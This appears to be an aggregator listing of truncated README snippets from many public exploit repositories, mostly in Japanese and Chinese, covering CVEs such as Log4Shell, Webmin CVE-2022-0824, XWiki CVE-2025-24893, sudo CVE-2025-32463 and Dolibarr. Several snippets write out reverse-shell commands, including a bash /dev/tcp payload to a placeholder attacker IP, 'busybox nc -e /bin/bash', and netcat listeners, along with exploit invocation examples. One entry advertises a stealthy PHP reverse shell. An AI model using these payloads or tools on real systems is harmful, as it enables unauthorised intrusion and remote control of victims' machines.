Automatic-davfs2-1.4.6-1.4.7-Local-Privilege-Escalation

Automatic-davfs2-1.4.6-1.4.7-Local-Privilege-Escalation 自動的に脆弱なdavfs2 CVE-2013-4362 を持つシステムを悪用します これは何のためのものですか？ 脆弱なバージョンのdavfs2の悪用を簡略化するための2つの.shスクリプトです。 前提条件 モジュール'fuse'または'coda'の少なくとも1つがカーネルにロードされていない必要があります（PoCはデフォルトではロードされないcodaで動作します） リモートのwebdavサーバーをマウントできるユーザーである必要があります 確認方法: cat /etc/gro...

CVE-2021-21425

CVE-2021-21425 出典: https://www.exploit-db.com/exploits/49973 1 ターゲットIPを変更 2 ペイロードを変更 echo -ne "bash -i & /dev/tcp/OUR-IP/80 0&1" | base64 -w0 3 sudo nc -lvnp 80 4 python3 exploit.py...

cve-2017-0358.sh

このリポジトリには README がありません。...

log4shell-minecraft-demo

Log4Shell CVE-2021-44228 Minecraft デモ このデモは、教育フェアで、将来の学生候補にHTL Villachのサイバーセキュリティ学科と、日常的なアプリケーションがどのように悪用され得るかを紹介するために使用されます。 注記: このデモ全体はMinecraft 1.8.8を使用しています。 攻撃者 このシナリオの攻撃者は、kozmerによるPoCを使用しています。 https://github.com/kozmer/log4j-shell-poc すべてのクレジットは彼らに帰属します。 注記: すべてのコマンドは attacker/...

Webmin-CVE-2022-0824-Enhanced-Exploit

Webmin-CVE-2022-0824-Enhanced-Exploit !IMPORTANT Webmin CVE-2022-0824 拡張版エクスプロイトツール - コマンド実行とリバースシェルのデュアルモード対応 !IMPORTANT Webmin CVE-2022-0824 の脆弱性を狙った拡張版エクスプロイトツールです。直接のコマンド実行とリバースシェルの2つのモードに対応しています。 🚀 特徴 ✅ デュアルモード対応 : コマンド実行モード + リバースシェルモード ✅ 複数ペイロード : Perl、Bash、Pythonの3種類のペイロード ✅ スマートなファイル管理 :...

CVE-2024-53345

CVE-2024-53345 Car Rental Management System バージョン 1.0〜1.3 における重大な 0 Day 脆弱性 説明: Car Rental Management System（バージョン 1.0〜1.3）の System Settings モジュールのファイルアップロード機能に重大な脆弱性が存在し、低権限ユーザーが実行可能な PHP...

PHP-REVERSE-SHELL

PHP 리버스 셸 강력하고 은밀함 이것은 모의 해킹 및 침투 테스트를 위해 설계된 강력하고 은밀한 PHP 리버스 셸입니다. 사용자 시스템으로 안정적이고 조용한 연결을 설정합니다. ⚠️ 면책 조항 이 PHP 리버스 셸은 교육 및 승인된 침투 테스트 목적으로만 개발되었습니다. 개발자는 이 리버스 셸을 사용하여 수행된 모든 오용, 손해 또는 불법 활동에 대해 책임을 지지 않습니다. 책임감 있게 사용하고, 소유하거나 명시적인 테스트 허가를 받은 시스템에서만 사용하십시오. 무단 접근은 불법이며 법적으로 처벌받을 수 있습니다. 기능 IP ...

CVE-2018-14699

CVE-2018-14699 DroboAccess v2.1 の enableuser 関数における未認証のコマンドインジェクション 使用方法: 使用するには、まずリスナーを起動します ncat -nvlp 1337 次にエクスプロイトを実行します 例: exploit.py -t 192.168.1.122:8080 -l 192.168.1.2 -p 1337 '-t', '--target', help='エクスプロイト対象のホスト、例: 192.168.1.122:8080',required=True '-l', '--listener-ip', help='リスナーIP',...

CVE-2025-24893-PoC

CVE-2025-24893 - XWiki 远程代码执行 RCE 这是一个针对 CVE-2025-24893 的更新版概念验证 PoC 利用代码，该漏洞是 XWiki 中的一个关键未认证 RCE 漏洞。此版本在原版基础上进行了改进，允许执行任意 shell 命令并实现干净的反弹 shell 注入。 作者: HexHunter404 ⚠️ 警告 此代码仅供教育和授权的渗透测试使用 。 请勿将其用于您不拥有或未经明确许可测试的系统上。 ✨ 功能特点 支持通过 bash -c '' 执行命令 完全支持反弹 shell（通过 base64 绕过 Groovy 限制） 改进了命令输出的处理 保留...

sh1mazu

Shimazu 4.0 - コードネーム met@rpet@r これは、OSの脆弱性を悪用するための自動リバースバックドアシェルプログラムです。...

Penetration-Testing-on-Metasploitable2

インターンシッププロジェクト2 — Metasploitable2 へのペネトレーションテスト 概要: このプロジェクトは、完全なペネトレーションテストのワークフロー（偵察、列挙、エクスプロイト、ポストエクスプロイト検証、緩和策の推奨）を示します。使用したターゲットは Metasploitable2、攻撃ボックスは Kali Linux です。 ツール: Kali Linux 攻撃者 Nmap 偵察 Metasploit Framework エクスプロイト SearchSploit / Exploit-DB トリアージ 実行手順: 1. スキャン: sudo nmap -sS -sV -...

CVE-2021-44967

CVE-2021-44967: LimeSurvey RCE 説明 このProof-of-Concept（POC）は、CVE-2021-44967を悪用して、管理者として悪意のあるLimeSurvey PHPプラグインをアップロード・実行し、リバースシェルを取得するために使用できます。 LimeSurvey 5.2.4には、プラグインのアップロードおよびインストール機能を介したリモートコード実行（RCE）の脆弱性が存在します。これにより、リモートの悪意のあるユーザーが任意のPHPコードファイルをアップロードできる可能性があります。 深刻度: 8.3 HIGH ベクトル:...

CVE-2025-32463-Chwoot-POC

CVE-2025-32463 Sudo 権限昇格エクスプロイト PoC Rust 事前ビルド済みバイナリの使用 1. リポジトリをクローンし、ターゲットマシン上でバイナリを実行します。 root@kitploit: git clone https://github.com/krypton-0x00/CVE-2025-32463-Chwoot-POC.git cd CVE-2025-32463-Chwoot-POC ./exploit ソースからのビルド 1. リポジトリをクローンします（まだクローンしていない場合） root@kitploit: git clone...

CVE-2026-50187

A flaw was found in the dotenv plugin of Oh My Zsh. A remote attacker could craft a malicious .env file containing arbitrary shell commands. When a user changes into a directory containing this file, the dotenv plugin processes it, leading to the execution of these commands with the user's...

drupalgeddon2-cli

drupalgeddon2-cli Drupalgeddon2 CVE-2018-7600 の概念実証をコマンドラインから再実装したものです。Hack The Box Academy の Attacking Common Applications モジュールに取り組む中で、学習演習として作成しました。 !WARNING 許可されたセキュリティテストおよび教育のみを目的としています。 自身が所有していない、または明示的な書面による許可を得ていないシステムに対して実行することは、多くの法域で違法です。詳細は 法的利用と責任 を参照してください。 !NOTE AI 支援を受けて作成されました。...

CVE-2025-22457

CVE-2025-22457 的 PoC 一个影响 Ivanti Connect Secure、Pulse Connect Secure、Ivanti Policy Secure 和 ZTA 网关的远程未认证基于栈的缓冲区溢出漏洞 概述 这是一个概念验证PoC漏洞利用程序，用于演示 CVE-2025-22457 的利用方式。有关漏洞和利用策略的完整技术分析，请参阅我们的 Rapid7 分析： https://attackerkb.com/topics/0ybGQIkHzR/cve-2025-22457/rapid7-analysis 使用方法 我们可以按如下方式，针对存在漏洞的 Ivan...

CVE-2025-24893

CVE-2025-24893 用リバースシェル root@kitploit: python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" シェルのアップグレード 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...

PDFkit-CMD-Injection-CVE-2022-25765

PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 における CVE-2022-25765 コマンドインジェクションのエクスプロイト 脆弱性の詳細はこちらをご覧ください PoC ホスト上でnetcatを実行: root@kitploit: $ nc -lvnp 1337 エクスプロイトを実行（例）: root@kitploit: $ ./CVE-2022-25765.py -t http://localhost -a 10.10.14.122 -p 1337 Input target address is http://localhost...

Exploit-for-Dolibarr-17.0.0-CVE-2023-30253

Dolibarr example: python3 exploit.py http://example.com login password 127.0.0.1 9001 ---Reverse Shell Exploit for Dolibarr = 17.0.0 CVE-2023-30253--- positional arguments: hostname Target hostname username Username of Dolibarr ERP/CRM password Password of Dolibarr ERP/CRM lhost Listening host fo...

CVE-2015-4852

CVE-2015-4852 前提: ysoserial.jarをスクリプトディレクトリに配置してください（ysoserial-0.jarをysoserial.jarにリネーム）。Kali Linuxでスクリプトを実行することを推奨します。 1.使い方： root@kali: python3 CVE-2015-4852.py -h Usage: python CVE-2015-4852.py -t/--target 1.1.1.1 7001 Options: -h, --help このヘルプメッセージを表示して終了 -t TARGET, --target=TARGET ip port 2....